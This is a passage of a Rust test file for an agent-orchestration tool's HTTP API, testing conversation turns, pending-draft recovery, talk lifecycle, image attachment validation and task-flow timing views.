13005 assert_eq!(complete.state, "complete");
13006 assert_eq!(complete.done, 7);
13007 assert!(complete.unfinished_ids.is_empty());
13008 tasks[0].status = TaskStatus::Queued;
13009 let requeued = talk_task_progress(&tasks);
13010 assert_eq!(requeued.state, "incomplete");
13011 assert_eq!(requeued.done, 6);
13012 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13013
13014 let empty = talk_task_progress(&[]);
13015 assert_eq!(empty.state, "none");
13016 assert_eq!(empty.total, 0);
13017 assert_eq!(empty.done, 0);
13018 assert!(empty.unfinished_ids.is_empty());
13019 assert!(empty.counts.values().all(|count| *count == 0));
13020 }
13021
13022 #[tokio::test]
13023 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13024 let (_tmp, _repo, f) = talk_fixture().await;
13025 let id = f.post("/api/talks", None).await.json()["id"]
13026 .as_str()
13027 .expect("id")
13028 .to_owned();
13029
13030 let res = f
13031 .post(
13032 &format!("/api/talks/{id}/say"),
13033 Some(r#"{"text":"what does the queue module do?"}"#),
13034 )
13035 .await;
13036 assert_eq!(res.status, 202, "{}", res.body);
13037 let queued = res.json();
13038 let turns = queued["turns"].as_array().expect("turns array");
13039 assert_eq!(
13040 turns.len(),
13041 1,
13042 "the answer reflects only what is on disk the instant it is sent, \
13043 before the agent's turn - which can run for the whole of \
13044 `[graph] timeout_talk` - has a chance to land: {queued}"
13045 );
13046 assert_eq!(turns[0]["who"], "operator");
13047 assert_eq!(turns[0]["body"], "what does the queue module do?");
13048 assert_eq!(
13049 queued["thinking"], true,
13050 "the accepted response exposes the background turn claim: {queued}"
13051 );
13052
13053 let mut turns_after = 1;
13054 for _ in 0..SETTLE_STEPS {
13055 let detail = f.get(&format!("/api/talks/{id}")).await.json();
13056 turns_after = detail["turns"].as_array().expect("turns array").len();
13057 if turns_after == 2 {
13058 break;
13059 }
13060 tokio::time::sleep(Duration::from_millis(10)).await;
13061 }
13062 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13063 }
13064
13065 #[tokio::test]
13092 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13093 let tmp = TempDir::new().expect("tempdir");
13094 let repo = tmp.path().join("repo");
13095 std::fs::create_dir_all(&repo).expect("repo dir");
13096 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13097 let home = TempDir::new().expect("temp home");
13098 let talks = Talks::at(home.path().join("talks"));
13099 let ui = Arc::new(
13100 Ui::new(
13101 Queue::at(home.path().join("queue")),
13102 Questions::at(home.path().join("questions")),
13103 talks.clone(),
13104 home.path().join("runs"),
13105 home.path().to_path_buf(),
13106 repo.clone(),
13107 )
13108 .with_worktrees_root(home.path().join("wt")),
13109 );
13110 let cfg = config_for(&repo).await.expect("discover config");
13111
13112 for delay in 0..40u32 {
13113 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13114 let id = talk.id.clone();
13115
13116 let handler = tokio::spawn(talk_say(
13117 State(Arc::clone(&ui)),
13118 Path(id.clone()),
13119 Ok(Json(NewTalkTurn {
13120 reply_to: None,
13121 text: "what does the queue module do?".to_owned(),
13122 attachments: Vec::new(),
13123 })),
13124 ));
13125 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13126 handler.abort();
13127 let _ = handler.await;
13130
13131 let mut turns = 0;
13132 for _ in 0..SETTLE_STEPS {
13133 if let Ok(fresh) = talks.get(&id) {
13134 turns = fresh.turns.len();
13135 if turns != 1 {
13136 break;
13137 }
13138 }
13139 tokio::time::sleep(Duration::from_millis(10)).await;
13140 }
13141 assert_ne!(
13142 turns, 1,
13143 "delay {delay}: talk {id} recorded the operator's turn but \
13144 the agent never answered - the reply task was never \
13145 started after the handler future was dropped"
13146 );
13147 }
13148 }
13149
13150 #[tokio::test]
13195 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13196 let tmp = TempDir::new().expect("tempdir");
13197 let repo = tmp.path().join("repo");
13198 std::fs::create_dir_all(&repo).expect("repo dir");
13199 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13200 let home = TempDir::new().expect("temp home");
13201 let talks = Talks::at(home.path().join("talks"));
13202 let ui = Arc::new(
13203 Ui::new(
13204 Queue::at(home.path().join("queue")),
13205 Questions::at(home.path().join("questions")),
13206 talks.clone(),
13207 home.path().join("runs"),
13208 home.path().to_path_buf(),
13209 repo.clone(),
13210 )
13211 .with_worktrees_root(home.path().join("wt")),
13212 );
13213 let cfg = config_for(&repo).await.expect("discover config");
13214
13215 for attempt in 0..3u32 {
13216 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13217 let id = talk.id.clone();
13218 let turn_guard = ui
13221 .begin_talk_turn(&id)
13222 .expect("claim the turn")
13223 .expect("a fresh talk owes nobody a turn");
13224
13225 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13226 let (release_tx, release_rx) = std::sync::mpsc::channel();
13227 ui.set_busy_queue_gate(BusyQueueGate {
13228 reached: reached_tx,
13229 release: release_rx,
13230 });
13231
13232 let handler = tokio::spawn(talk_say(
13233 State(Arc::clone(&ui)),
13234 Path(id.clone()),
13235 Ok(Json(NewTalkTurn {
13236 reply_to: None,
13237 text: "what does the queue module do?".to_owned(),
13238 attachments: Vec::new(),
13239 })),
13240 ));
13241
13242 tokio::time::timeout(Duration::from_secs(5), reached_rx)
13247 .await
13248 .unwrap_or_else(|_| {
13249 panic!(
13250 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13251 )
13252 })
13253 .expect("the busy branch dropped the gate without using it");
13254
13255 let running = talks.get(&id).expect("reload talk");
13262 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13263
13264 handler.abort();
13268 let _ = handler.await;
13269
13270 let _ = release_tx.send(());
13276
13277 let mut fresh = talks.get(&id).expect("reload talk");
13280 for _ in 0..SETTLE_STEPS {
13281 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13282 break;
13283 }
13284 tokio::time::sleep(Duration::from_millis(10)).await;
13285 fresh = talks.get(&id).expect("reload talk");
13286 }
13287 assert!(
13288 fresh.pending.is_empty() && fresh.turns.len() == 2,
13289 "attempt {attempt}: talk {id} left the operator's text queued \
13290 with no drainer - the reclaimed turn was dropped along with \
13291 the handler future (pending {:?}, {} turns)",
13292 fresh.pending,
13293 fresh.turns.len()
13294 );
13295 }
13296 }
13297
13298 #[tokio::test]
13299 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13300 let (_tmp, _repo, f) = talk_fixture().await;
13301 let id = f.post("/api/talks", None).await.json()["id"]
13302 .as_str()
13303 .expect("id")
13304 .to_owned();
13305 let store = f.talks();
13306 let mut recovered = store.get(&id).expect("opened talk");
13307 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13308 .expect("persist pending draft without a live turn");
13309
13310 let edited = f
13311 .post(
13312 &format!("/api/talks/{id}/pending/edit"),
13313 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13314 )
13315 .await;
13316 assert_eq!(edited.status, 200, "{}", edited.body);
13317 assert!(edited.json()["thinking"].as_bool().unwrap());
13318
13319 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13320 for _ in 0..SETTLE_STEPS {
13321 if detail["turns"].as_array().expect("turns").len() == 2 {
13322 break;
13323 }
13324 tokio::time::sleep(Duration::from_millis(10)).await;
13325 detail = f.get(&format!("/api/talks/{id}")).await.json();
13326 }
13327 let turns = detail["turns"].as_array().expect("turns");
13328 assert_eq!(
13329 turns.len(),
13330 2,
13331 "the recovered draft must run once: {detail}"
13332 );
13333 assert_eq!(turns[0]["body"], "corrected");
13334 assert_eq!(detail["pending"], "");
13335 }
13336
13337 #[tokio::test]
13338 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13339 let tmp = TempDir::new().expect("tempdir");
13340 let repo = tmp.path().join("repo");
13341 std::fs::create_dir_all(&repo).expect("repo dir");
13342 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13343 let f = Fixture::with_repo(repo).await;
13344 let id = f.post("/api/talks", None).await.json()["id"]
13345 .as_str()
13346 .expect("id")
13347 .to_owned();
13348 let store = f.talks();
13349 let mut recovered = store.get(&id).expect("opened talk");
13350 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13351 .expect("persist pending draft without a live turn");
13352
13353 let refused = f
13354 .post(
13355 &format!("/api/talks/{id}/say"),
13356 Some(r#"{"text":"new message"}"#),
13357 )
13358 .await;
13359 assert_eq!(refused.status, 409, "{}", refused.body);
13360 assert!(refused.body.contains("resume"), "{}", refused.body);
13361 let saved = store.get(&id).expect("draft remains after refusal");
13362 assert!(saved.turns.is_empty());
13363 assert_eq!(saved.pending, "saved before restart");
13364
13365 let say_path = format!("/api/talks/{id}/say");
13366 let (first, second) = tokio::join!(
13367 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13368 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13369 );
13370 assert_eq!(first.status, 409, "{}", first.body);
13371 assert_eq!(second.status, 409, "{}", second.body);
13372 let saved = store
13373 .get(&id)
13374 .expect("draft remains after concurrent refusals");
13375 assert!(saved.turns.is_empty());
13376 assert_eq!(saved.pending, "saved before restart");
13377
13378 let resumed = f
13379 .post(&format!("/api/talks/{id}/pending/resume"), None)
13380 .await;
13381 assert_eq!(resumed.status, 202, "{}", resumed.body);
13382 let duplicate = f
13383 .post(&format!("/api/talks/{id}/pending/resume"), None)
13384 .await;
13385 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13386
13387 for _ in 0..SETTLE_STEPS {
13388 if store.get(&id).expect("talk").turns.len() == 2 {
13389 break;
13390 }
13391 tokio::time::sleep(Duration::from_millis(10)).await;
13392 }
13393 let finished = store.get(&id).expect("finished talk");
13394 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13395 assert_eq!(finished.turns[0].body, "saved before restart");
13396 assert!(finished.pending.is_empty());
13397 }
13398
13399 #[tokio::test]
13400 async fn an_image_only_recovered_draft_resumes_without_text() {
13401 let (_tmp, _repo, f) = talk_fixture().await;
13402 let id = f.post("/api/talks", None).await.json()["id"]
13403 .as_str()
13404 .expect("id")
13405 .to_owned();
13406 let uploaded = f
13407 .post_bytes(
13408 &format!("/api/talks/{id}/attachments"),
13409 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13410 PNG_BYTES,
13411 )
13412 .await;
13413 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13414 let attachment = f
13415 .talks()
13416 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13417 .expect("attachment metadata")
13418 .expect("stored attachment");
13419 let store = f.talks();
13420 let mut recovered = store.get(&id).expect("opened talk");
13421 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13422
13423 let resumed = f
13424 .post(&format!("/api/talks/{id}/pending/resume"), None)
13425 .await;
13426 assert_eq!(resumed.status, 202, "{}", resumed.body);
13427 for _ in 0..SETTLE_STEPS {
13428 if store.get(&id).expect("talk").turns.len() == 2 {
13429 break;
13430 }
13431 tokio::time::sleep(Duration::from_millis(10)).await;
13432 }
13433 let finished = store.get(&id).expect("finished talk");
13434 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13435 assert!(finished.turns[0].body.is_empty());
13436 assert_eq!(finished.turns[0].attachments.len(), 1);
13437 assert!(finished.pending_attachments.is_empty());
13438 }
13439
13440 #[tokio::test]
13441 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13442 let (_tmp, _repo, f) = talk_fixture().await;
13443 let id = f.post("/api/talks", None).await.json()["id"]
13444 .as_str()
13445 .expect("id")
13446 .to_owned();
13447 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13448 assert_eq!(closed.status, 200, "{}", closed.body);
13449 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13450 .expect("serialize closed talk");
13451 for (path, body) in [
13452 (format!("/api/talks/{id}/pending/resume"), None),
13453 (
13454 format!("/api/talks/{id}/pending/clear"),
13455 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13456 ),
13457 (
13458 format!("/api/talks/{id}/pending/edit"),
13459 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13460 ),
13461 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13462 ] {
13463 let response = f.post(&path, body).await;
13464 assert_eq!(response.status, 409, "{}", response.body);
13465 }
13466 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13467 .expect("serialize closed talk");
13468 assert_eq!(
13469 after_clear, before_clear,
13470 "clear must not rewrite a closed talk"
13471 );
13472 }
13473
13474 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13477
13478 #[tokio::test]
13479 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13480 let tmp = TempDir::new().expect("tempdir");
13481 let repo = tmp.path().join("repo");
13482 std::fs::create_dir_all(&repo).expect("repo dir");
13483 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13484 let f = Fixture::with_repo(repo).await;
13485 let id_a = f.post("/api/talks", None).await.json()["id"]
13486 .as_str()
13487 .unwrap()
13488 .to_owned();
13489 let id_b = f.post("/api/talks", None).await.json()["id"]
13490 .as_str()
13491 .unwrap()
13492 .to_owned();
13493
13494 let a = f
13495 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13496 .await;
13497 assert_eq!(a.status, 202, "{}", a.body);
13498 assert_eq!(a.json()["thinking"], true);
13499 let b = f
13500 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13501 .await;
13502 assert_eq!(b.status, 202, "{}", b.body);
13503 assert_eq!(b.json()["thinking"], true);
13504
13505 let listed = f.get("/api/talks").await.json();
13506 for id in [&id_a, &id_b] {
13507 let view = listed
13508 .as_array()
13509 .unwrap()
13510 .iter()
13511 .find(|talk| talk["id"] == *id)
13512 .unwrap();
13513 assert_eq!(view["thinking"], true, "{listed}");
13514 }
13515 let repeated = f
13516 .post(
13517 &format!("/api/talks/{id_a}/say"),
13518 Some(r#"{"text":"again"}"#),
13519 )
13520 .await;
13521 assert_eq!(repeated.status, 202, "{}", repeated.body);
13522 assert_eq!(repeated.json()["pending"], "again");
13523 }
13524
13525 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13528
13529 #[tokio::test]
13530 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13531 let f = Fixture::start().await;
13532 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13533
13534 let res = f
13535 .post_bytes(
13536 &format!("/api/talks/{id}/attachments"),
13537 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13538 PNG_BYTES,
13539 )
13540 .await;
13541 assert_eq!(res.status, 201, "{}", res.body);
13542 let body = res.json();
13543 assert_eq!(body["name"], "shot.png");
13544 assert_eq!(body["mime"], "image/png");
13545 assert_eq!(body["bytes"], PNG_BYTES.len());
13546 let att_id = body["id"].as_str().expect("id").to_owned();
13547 assert_eq!(
13548 att_id.len(),
13549 32,
13550 "the id must never be a client-suppliable path: {att_id}"
13551 );
13552
13553 let got = f
13554 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13555 .await;
13556 assert_eq!(got.status, 200, "{}", got.body);
13557 assert_eq!(got.header("content-type"), Some("image/png"));
13558 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13559 assert_eq!(got.bytes, PNG_BYTES);
13560 }
13561
13562 #[tokio::test]
13563 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13564 let f = Fixture::start().await;
13565 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13566
13567 let svg = f
13570 .post_bytes(
13571 &format!("/api/talks/{id}/attachments"),
13572 &[("Content-Type", "image/svg+xml")],
13573 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13574 )
13575 .await;
13576 assert!(
13577 (400..500).contains(&svg.status),
13578 "svg must be refused: {} {}",
13579 svg.status,
13580 svg.body
13581 );
13582 assert!(svg.body.contains("SVG"), "{}", svg.body);
13583
13584 let text = f
13585 .post_bytes(
13586 &format!("/api/talks/{id}/attachments"),
13587 &[("Content-Type", "text/plain")],
13588 b"just some text",
13589 )
13590 .await;
13591 assert!(
13592 (400..500).contains(&text.status),
13593 "an unlisted type must be refused: {} {}",
13594 text.status,
13595 text.body
13596 );
13597
13598 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13601 let big = f
13602 .post_bytes(
13603 &format!("/api/talks/{id}/attachments"),
13604 &[("Content-Type", "image/png")],
13605 &oversized,
13606 )
13607 .await;
13608 assert_eq!(
13609 big.status,
13610 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13611 "{}",
13612 big.body
13613 );
13614 }
13615
13616 #[tokio::test]
13617 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13618 let f = Fixture::start().await;
13619 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13620
13621 let res = f
13624 .post_bytes(
13625 &format!("/api/talks/{id}/attachments"),
13626 &[("Content-Type", "image/png")],
13627 b"<html>not a picture</html>",
13628 )
13629 .await;
13630 assert!((400..500).contains(&res.status), "{}", res.body);
13631 }
13632
13633 #[tokio::test]
13634 async fn an_unknown_attachment_id_is_a_404() {
13635 let f = Fixture::start().await;
13636 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13637
13638 let res = f
13639 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13640 .await;
13641 assert_eq!(res.status, 404, "{}", res.body);
13642 }
13643
13644 #[tokio::test]
13645 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13646 let f = Fixture::start().await;
13647 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13648
13649 let uploaded = f
13650 .post_bytes(
13651 &format!("/api/talks/{id}/attachments"),
13652 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13653 PNG_BYTES,
13654 )
13655 .await;
13656 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13657 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13658
13659 let res = f
13660 .post(
13661 &format!("/api/talks/{id}/say"),
13662 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13663 )
13664 .await;
13665 assert_eq!(res.status, 202, "{}", res.body);
13666 let queued = res.json();
13667 let turns = queued["turns"].as_array().expect("turns array");
13668 assert_eq!(
13669 turns.len(),
13670 1,
13671 "an empty body with an attachment is still a turn: {queued}"
13672 );
13673 assert_eq!(turns[0]["who"], "operator");
13674 assert_eq!(turns[0]["body"], "");
13675 let atts = turns[0]["attachments"]
13676 .as_array()
13677 .expect("attachments array");
13678 assert_eq!(atts.len(), 1);
13679 assert_eq!(atts[0]["id"], att_id);
13680 assert_eq!(atts[0]["mime"], "image/png");
13681
13682 let on_disk = f.talks().get(&id).expect("get");
13685 assert_eq!(on_disk.turns[0].attachments.len(), 1);
13686 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13687 }
13688
13689 #[tokio::test]
13690 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13691 let f = Fixture::start().await;
13692 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13693
13694 let res = f
13695 .post(
13696 &format!("/api/talks/{id}/say"),
13697 Some(&format!(
13698 r#"{{"text":"hi","attachments":["{}"]}}"#,
13699 "a".repeat(32)
13700 )),
13701 )
13702 .await;
13703 assert!((400..500).contains(&res.status), "{}", res.body);
13704 assert!(res.body.contains("unknown attachment"), "{}", res.body);
13705
13706 let on_disk = f.talks().get(&id).expect("get");
13707 assert!(
13708 on_disk.turns.is_empty(),
13709 "a rejected attachment id must not partially record the turn: {:?}",
13710 on_disk.turns
13711 );
13712 }
13713
13714 #[tokio::test]
13715 async fn talk_close_makes_the_talk_refuse_further_turns() {
13716 let f = Fixture::start().await;
13717 let id = seed_talk(&f, "20260904-014455-cd34", "open");
13718
13719 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13720 assert_eq!(closed.status, 200, "{}", closed.body);
13721 assert_eq!(closed.json()["status"], "closed");
13722
13723 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13725 assert_eq!(closed_again.status, 200);
13726 assert_eq!(closed_again.json()["status"], "closed");
13727
13728 let said = f
13729 .post(
13730 &format!("/api/talks/{id}/say"),
13731 Some(r#"{"text":"too late"}"#),
13732 )
13733 .await;
13734 assert_eq!(said.status, 409, "{}", said.body);
13735 }
13736
13737 #[tokio::test]
13738 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13739 let (_tmp, _repo, f) = talk_fixture().await;
13740 let id = f.post("/api/talks", None).await.json()["id"]
13741 .as_str()
13742 .expect("id")
13743 .to_owned();
13744 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13745 assert_eq!(closed.status, 200, "{}", closed.body);
13746
13747 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13748 assert_eq!(reopened.status, 200, "{}", reopened.body);
13749 assert_eq!(reopened.json()["status"], "open");
13750
13751 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13753 assert_eq!(reopened_again.status, 200);
13754 assert_eq!(reopened_again.json()["status"], "open");
13755
13756 let said = f
13757 .post(
13758 &format!("/api/talks/{id}/say"),
13759 Some(r#"{"text":"still there?"}"#),
13760 )
13761 .await;
13762 assert_eq!(
13763 said.status, 202,
13764 "a reopened talk accepts turns again: {}",
13765 said.body
13766 );
13767 }
13768
13769 #[tokio::test]
13770 async fn talk_reopen_on_an_unknown_id_is_404() {
13771 let f = Fixture::start().await;
13772 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13773 assert_eq!(res.status, 404, "{}", res.body);
13774 }
13775
13776 #[tokio::test]
13777 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13778 let f = Fixture::start().await;
13779 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13780
13781 let deleted = f.delete(&format!("/api/talks/{id}")).await;
13782 assert_eq!(deleted.status, 204, "{}", deleted.body);
13783
13784 let after = f.get(&format!("/api/talks/{id}")).await;
13785 assert_eq!(after.status, 404, "{}", after.body);
13786
13787 let listed = f.get("/api/talks").await.json();
13788 assert!(
13789 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13790 "a deleted talk must not linger in the list: {listed}"
13791 );
13792 }
13793
13794 #[tokio::test]
13795 async fn talk_delete_on_an_unknown_id_is_404() {
13796 let f = Fixture::start().await;
13797 let res = f.delete("/api/talks/nonexistent-id").await;
13798 assert_eq!(res.status, 404, "{}", res.body);
13799 }
13800
13801 #[tokio::test]
13805 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13806 let f = Fixture::start().await;
13807 let (a, b, gone) = (
13808 "20260902-140501-aaaa",
13809 "20260902-140502-bbbb",
13810 "20260902-140503-cccc",
13811 );
13812 write_run(&f.runs(), a, RunStatus::Stalled);
13813 let mut review = RunState::new(
13814 PathBuf::from("/repo/magi"),
13815 "main".to_owned(),
13816 "0123456789abcdef".to_owned(),
13817 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13818 .to_owned(),
13819 Config::default(),
13820 );
13821 review.id = b.to_owned();
13822 review.status = RunStatus::Merged;
13823 write_state(&f.runs(), &review);
13824
13825 let mut task = Task::new(
13826 "retry".to_owned(),
13827 "Do the thing".to_owned(),
13828 PathBuf::from("/repo/magi"),
13829 Source::Human,
13830 );
13831 task.start(a.to_owned());
13832 task.stall("quota");
13833 task.start(a.to_owned());
13834 task.start(b.to_owned());
13835 task.start(gone.to_owned());
13836 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13838 f.queue().put(&mut task).expect("file the task");
13839
13840 let res = f.get(&format!("/api/queue/{}", task.id)).await;
13841 assert_eq!(res.status, 200, "{}", res.body);
13842 let v = res.json();
13843 let h = v["history"].as_array().expect("history");
13844 assert_eq!(h.len(), 4, "{v}");
13845 assert_eq!(h[0]["kind"], "competition");
13846 assert_eq!(h[0]["status"], "stalled");
13847 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13848 assert_eq!(h[1]["kind"], "resume", "{v}");
13849 assert!(
13850 h[0]["outcome"]
13851 .as_str()
13852 .unwrap()
13853 .contains("unknown. Pass #2"),
13854 "an earlier pass of a resumed run must not claim the final outcome: {v}"
13855 );
13856 assert!(
13857 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13858 "{v}"
13859 );
13860 assert!(
13861 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13862 "an unrecorded cause must not be narrated as an operator park: {v}"
13863 );
13864 assert_eq!(h[2]["kind"], "review");
13865 assert!(
13866 h[2]["description"]
13867 .as_str()
13868 .unwrap()
13869 .contains("magi/aaaa/A")
13870 );
13871 assert_eq!(h[2]["status"], "merged");
13872 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13873 assert_eq!(v["runs_unreadable"], 1);
13874 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13875 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13876 assert_eq!(nodes[4]["note"], "unreadable");
13877 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13878 assert_eq!(v["instruction"], "Do the thing");
13879 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13880
13881 let run = f.get(&format!("/api/runs/{a}")).await.json();
13883 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13884
13885 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13886 }
13887
13888 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13889 let mut s = RunState::new(
13890 PathBuf::from("/repo/magi"),
13891 "main".to_owned(),
13892 "0123456789abcdef".to_owned(),
13893 "Do it".to_owned(),
13894 Config::default(),
13895 );
13896 s.status = status;
13897 edit(&mut s);
13898 s
13899 }
13900
13901 fn flow_task(runs: &[&str]) -> Task {
13902 let mut t = Task::new(
13903 "t".to_owned(),
13904 "Do it".to_owned(),
13905 PathBuf::from("/repo/magi"),
13906 Source::Human,
13907 );
13908 for r in runs {
13909 t.start((*r).to_owned());
13910 }
13911 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13913 t
13914 }
13915
13916 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13917 let h = task_history(task, |id| {
13918 states
13919 .iter()
13920 .find(|(i, _)| *i == id)
13921 .and_then(|(_, s)| s.clone())
13922 });
13923 task_flow(task, &h, 5, None)
13924 }
13925
13926 #[test]
13927 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
13928 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
13929 let created = "2026-10-10T01:00:00Z".parse().unwrap();
13930 let first = "2026-10-10T02:00:00Z".parse().unwrap();
13931 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
13932 let held = "2026-10-10T04:00:00Z".parse().unwrap();
13933 let run = flow_run(RunStatus::Implementing, |s| {
13934 s.created_at = created;
13935 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
13936 s.passes[0].started_at = first;
13937 s.passes[1].started_at = resumed;
13938 });
13939 let mut task = flow_task(&[RUN_X, RUN_X]);
13940 task.created_at = queued;
13941 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
13942 task.status = TaskStatus::Held;
13943 task.held_at = Some(held);
13944 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
13945 assert_eq!(
13946 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
13947 vec![Some(queued), Some(first), Some(resumed), Some(held)]
13948 );
13949 assert!(flow.nodes.iter().all(|n| n.time_expected));
13950 let json = serde_json::to_value(&flow).unwrap();
13951 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
13952 assert_eq!(json["nodes"][2]["time_expected"], true);
13953 }
13954
13955 #[test]
13956 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
13957 let created = "2026-10-10T01:00:00Z".parse().unwrap();
13958 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
13959 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
13960 task.held_at = Some(created);
13962 task.blocked_at = Some(created);
13963 for status in [
13964 TaskStatus::Queued,
13965 TaskStatus::Running,
13966 TaskStatus::Blocked,
13967 TaskStatus::Done,
13968 TaskStatus::Failed,
13969 TaskStatus::Parked,
13970 TaskStatus::Held,
13971 ] {
13972 task.status = status;
13973 if status == TaskStatus::Held {
13974 task.held_at = None;
13975 }
13976 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
13977 assert_eq!(flow.nodes[1].started_at, Some(created));
13978 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
13979 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
13980 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
13981 let json = serde_json::to_value(&flow).unwrap();
13982 assert!(json["nodes"][3]["started_at"].is_null());
13983 assert_eq!(json["nodes"][3]["time_expected"], true);
13984 }
13985 }
13986
13987 #[test]
13988 fn flow_context_links_do_not_expect_start_times() {
13989 let mut task = flow_task(&[]);
13990 task.source = Source::Agent {
13991 run: "chat-id".to_owned(),
13992 node: "chat".to_owned(),
13993 };
